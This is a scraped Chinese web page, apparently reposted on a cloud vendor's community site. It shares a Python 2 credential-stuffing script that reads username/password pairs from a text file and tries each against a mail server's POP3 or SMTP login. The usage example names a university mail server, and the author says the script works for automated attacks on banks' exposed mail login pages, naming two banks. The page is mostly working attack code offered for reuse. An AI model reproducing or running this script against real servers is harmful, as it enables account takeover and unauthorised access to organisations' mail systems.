支援smtp/imap smtp/pop3的撞庫python撞庫指令碼

來源:互聯網
上載者:User

標籤:

# coding=gb2312#  確保python支援中文注釋# 輸入郵件地址, 口令和POP3伺服器位址:import poplibimport smtplibimport sysdef checksmtppassword(smtp_server,username,password):    try:        server = smtplib.SMTP(smtp_server, 25) # SMTP協議預設連接埠是25 這裡解析不了網域名稱就會拋出異常登入失敗        #server.set_debuglevel(2)            server.login(username, password)    except:        print ‘登入不成功‘    else:        print ‘登入成功‘def checkpop3password(pop3_server,username,password):    try:        server = poplib.POP3(pop3_server)        #server.set_debuglevel(2)        server.user(username)        server.pass_(password)    except Exception,e:        print ‘登入不成功‘    else:        print ‘登入成功‘    server.quit()        def open_check_password_user(file_path,server_ip,user_num,pass_num,mode):    mail_server=server_ip    f=open(file_path)    each_line=f.readline()    while each_line:        each_line=each_line.strip(‘\n‘)#去除分行符號        list = each_line.split()  #list這裡是數組        #print list[0]        password=list[ int(pass_num) ]        username=list[ int(user_num) ]        print list[ int(user_num) ]        print list[ int(pass_num) ]        if mode==‘pop3‘ :            checkpop3password(mail_server,username,password)        if mode==‘smtp‘ :            checksmtppassword(mail_server,username,password)                        each_line=f.readline()            if __name__ == ‘__main__‘:        print ‘mail_check.py nefu.txt pop.nefu.edu.cn user_num pass_num mode‘        print ‘mail_check.py nefu.txt pop.nefu.edu.cn  2 1 pop3/smtp‘            open_check_password_user(sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4],sys.argv[5])         

公司業務的需求,這段時間乾的事情web居多。

以上指令碼,配合一個txt便可以全自動的去對如 交通銀行  民生銀行等暴露外網郵箱登入介面等敏感行業的廠商進行撞庫測試。

花了半天時間寫的。效果還不錯,貼出來共用一下,以後再改進

支援smtp/imap smtp/pop3的撞庫python撞庫指令碼

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.